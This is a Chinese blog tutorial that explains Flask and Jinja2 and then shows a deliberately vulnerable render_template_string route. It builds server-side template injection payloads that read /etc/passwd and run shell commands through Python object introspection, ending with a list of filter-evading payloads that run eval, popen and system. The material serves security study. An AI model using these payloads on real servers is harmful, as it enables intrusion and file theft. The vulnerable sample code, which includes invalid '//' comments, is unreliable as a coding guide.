Flask采用Python編程語(yǔ)言來(lái)實(shí)現(xiàn)的web框架。Flask框架的主要特征是核心構(gòu)成比較簡(jiǎn)單,但具有很強(qiáng)的擴(kuò)展性和兼容性,可以使用Python語(yǔ)言快速實(shí)現(xiàn)一個(gè)網(wǎng)站或Web服務(wù)。一般情況下,它不會(huì)指定數(shù)據(jù)庫(kù)和模板引擎等對(duì)象,用戶可以根據(jù)需要自己選擇各種數(shù)據(jù)庫(kù)。Flask自身不會(huì)提供表單驗(yàn)證功能,在項(xiàng)目實(shí)施過程中可以自由配置,從而為應(yīng)用程序開發(fā)提供數(shù)據(jù)庫(kù)抽象層基礎(chǔ)組件,支持進(jìn)行表單數(shù)據(jù)合法性驗(yàn)證、文件上傳處理、用戶身份認(rèn)證和數(shù)據(jù)庫(kù)集成等功能。Flask主要包括Werkzeug和Jinja2兩個(gè)核心函數(shù)庫(kù),它們分別負(fù)責(zé)業(yè)務(wù)處理和安全方面的功能,這些基礎(chǔ)函數(shù)為web項(xiàng)目開發(fā)過程提供了豐富的基礎(chǔ)組件。Werkzeug庫(kù)十分強(qiáng)大,功能比較完善,支持URL路由請(qǐng)求集成,一次可以響應(yīng)多個(gè)用戶的訪問請(qǐng)求;支持Cookie和會(huì)話管理,通過身份緩存數(shù)據(jù)建立長(zhǎng)久連接關(guān)系,并提高用戶訪問速度;支持交互式Javascript調(diào)試,提高用戶體驗(yàn);可以處理HTTP基本事務(wù),快速響應(yīng)客戶端推送過來(lái)的訪問請(qǐng)求。Jinja2庫(kù)支持自動(dòng)HTML轉(zhuǎn)移功能,能夠很好控制外部黑客的腳本攻擊。系統(tǒng)運(yùn)行速度很快,頁(yè)面加載過程會(huì)將源碼進(jìn)行編譯形成python字節(jié)碼,從而實(shí)現(xiàn)模板的高效運(yùn)行;模板繼承機(jī)制可以對(duì)模板內(nèi)容進(jìn)行修改和維護(hù),為不同需求的用戶提供相應(yīng)的模板。目前Python的web框架有很多。除了Flask,還有django、Web2py等等。其中Diango是目前Python的框架中使用度最高的。但是Django如同java的EJB(EnterpriseJavaBeansJavaEE服務(wù)器端組件模型)多被用于大型網(wǎng)站的開發(fā),但對(duì)于大多數(shù)的小型網(wǎng)站的開發(fā),使用SSH(Struts+Spring+Hibernat的一個(gè)JavaEE集成框架)就可以滿足。
Flask的基本模式為在程序里將一個(gè)視圖函數(shù)分配給一個(gè)URL,每當(dāng)用戶訪問這個(gè)URL時(shí),系統(tǒng)就會(huì)執(zhí)行給該URL分配好的視圖函數(shù),獲取函數(shù)的返回值并將其顯示到瀏覽器上,其工作過程見圖。
先看一段代碼
from flask import flask
@app.route('/index/')
def hello_word():
???return 'hello word'
route裝飾器的作用是將函數(shù)與url綁定起來(lái)。例子中的代碼的作用就是當(dāng)你訪問http://127.0.0.1:5000/index的時(shí)候,flask會(huì)返回hello word。
route裝飾器:https://www.cnblogs.com/DylanHooz/p/6389138.html
注:from-import語(yǔ)句可以在你的模塊中導(dǎo)入指定的模塊屬性,也就是指定名稱導(dǎo)入到當(dāng)前的作用域。
flask的渲染方法有render_template和render_template_string兩種。
render_template()是用來(lái)渲染一個(gè)指定的文件的。使用如下
return render_template('index.html')
render_template()各種用法的講解https://www.cnblogs.com/h694879357/p/12295883.html
render_template_string()則是用來(lái)渲染一個(gè)字符串的。SSTI與這個(gè)方法密不可分。
使用方法如下
html = '<h1>This is index page</h1>'
return render_template_string(html)
flask是使用Jinja2來(lái)作為渲染引擎的??蠢?/a>
在網(wǎng)站的根目錄下新建templates文件夾,這里是用來(lái)存放html文件。也就是模板文件。
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
???return render_template('index.html')
/templates/index.html
<h1>This is index page</h1>
訪問127.0.0.1:5000/index/的時(shí)候,flask就會(huì)渲染出index.html的頁(yè)面。
模板文件并不是單純的html代碼,而是夾雜著模板的語(yǔ)法,因?yàn)轫?yè)面不可能都是一個(gè)樣子的,有一些地方是會(huì)變化的。比如說顯示用戶名的地方,這個(gè)時(shí)候就需要使用模板支持的語(yǔ)法,來(lái)傳參。
例子
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
???return render_template('index.html',content='This is index page.')
/templates/index.html
<h1>{{content}}</h1>
這個(gè)時(shí)候頁(yè)面仍然輸出This is index page。
{{}}在Jinja2中作為變量包裹標(biāo)識(shí)符。
不正確的使用flask中的render_template_string方法會(huì)引發(fā)SSTI。那么是什么不正確的代碼呢?
存在漏洞的代碼
@app.route('/test/')def test(): ???code = request.args.get('id') //requst.args獲得的是 列表類型 ???html = '''
???????<h3>%s</h3> ?//一種字符串格式化的語(yǔ)法, 基本用法是將值插入到%s占位符的字符串中 ???'''%(code)
???return render_template_string(html)
這段代碼存在漏洞的原因是數(shù)據(jù)和代碼的混淆。代碼中的code是用戶可控的,會(huì)和html拼接后直接帶入渲染。
嘗試構(gòu)造code為一串js代碼。
可以看到,js代碼被原樣輸出了。這是因?yàn)槟0逡嬉话愣寄J(rèn)對(duì)渲染的變量值進(jìn)行編碼轉(zhuǎn)義,這樣就不會(huì)存在xss了。在這段代碼中用戶所控的是code變量,而不是模板內(nèi)容。存在漏洞的代碼中,模板內(nèi)容直接受用戶控制的。
模板注入并不局限于xss,它還可以進(jìn)行其他攻擊。
基礎(chǔ)知識(shí)
ssti服務(wù)端模板注入,ssti重要為python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等運(yùn)用了襯著函數(shù)時(shí),由于代碼不范例或信托了用戶輸入而致使了服務(wù)端模板注入,模板襯著實(shí)在并沒有漏洞,主若是遞次員對(duì)代碼不范例不松散形成了模板注入漏洞,形成模板可控。
在Jinja2模板引擎中,{{}}是變量包裹標(biāo)識(shí)符。{{}}并不僅僅可以傳遞變量,還可以執(zhí)行一些簡(jiǎn)單的表達(dá)式。
這里還是用上文中存在漏洞的代碼
@app.route('/test/')
def test():
???code = request.args.get('id')
???html = '''
???????<h3>%s</h3>
???'''%(code)
???return render_template_string(html)
構(gòu)造參數(shù){{8*8}},結(jié)果如下
可以看到表達(dá)式被執(zhí)行了。
在flask中也有一些全局變量。
文件包含
看了師傅們的文章,是通過python的對(duì)象的繼承來(lái)一步步實(shí)現(xiàn)文件讀取和命令執(zhí)行的的。順著師傅們的思路,再理一遍。
找到父類–>尋找子類–>找關(guān)于命令執(zhí)行或者文件操作的模塊。
幾個(gè)魔術(shù)方法
__class__返回類型所屬的對(duì)象__mro__ ???返回一個(gè)包含對(duì)象所繼承的基類元組,方法在解析時(shí)按照元組的順序解析。__base__ ??返回該對(duì)象所繼承的基類// __base__和__mro__都是用來(lái)尋找基類的__subclasses__每個(gè)新類都保留了子類的引用,這個(gè)方法返回一個(gè)類中仍然可用的的引用的列表__init__ ?類的初始化方法__globals__ ?對(duì)包含函數(shù)全局變量的字典的引用
1、獲取字符串的類對(duì)象
>>> ''.__class__
<type 'str'>
2、尋找基類
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
3、尋找可用引用
>>> ''.__class__.__mro__[2].__subclasses__()[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]可以看到有一個(gè)`<type 'file'>`
4、利用之
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
放到模板里
可以看到讀取到了文件。
命令執(zhí)行
繼續(xù)看命令執(zhí)行payload的構(gòu)造,思路和構(gòu)造文件讀取的一樣。
尋找包含os模塊的腳本
注:os模塊中的system()函數(shù)用來(lái)運(yùn)行shell命令;但是不會(huì)顯示在前端,會(huì)在系統(tǒng)上自己執(zhí)行。listdir()函數(shù)返回指定目錄下的所有文件和目錄名。返回當(dāng)前目錄('.')
這樣寫代表的意思是在{% %}內(nèi)可以寫代碼,該代碼在頁(yè)面內(nèi)生效,可以編譯執(zhí)行,否則無(wú)效。
#!/usr/bin/env python
# encoding: utf-8
for item in ''.__class__.__mro__[2].__subclasses__():
?? try:
????????if 'os' in item.__init__.__globals__:
????????????print num,item
????????num+=1
???except:
???????print '-'
???????num+=1
輸出
-
71 <class 'site._Printer'>
-
-
-
-
76 <class 'site.Quitter'>
payload
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
構(gòu)造paylaod的思路和構(gòu)造文件讀取的是一樣的。只不過命令執(zhí)行的結(jié)果無(wú)法直接看到,需要利用curl將結(jié)果發(fā)送到自己的vps或者利用ceye)
祖?zhèn)鱬yload:
1.{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
2.{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls ?/var/www/html").read()' )}}
3.{{object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')}}
4.{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}
參考文章:
https://www.cnblogs.com/-qing-/p/11656544.html#_label0
https://www.cnblogs.com/-chenxs/p/11971164.html
https://www.cnblogs.com/zaqzzz/p/10263396.html
僅供參考學(xué)習(xí)
最后編輯于 :
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。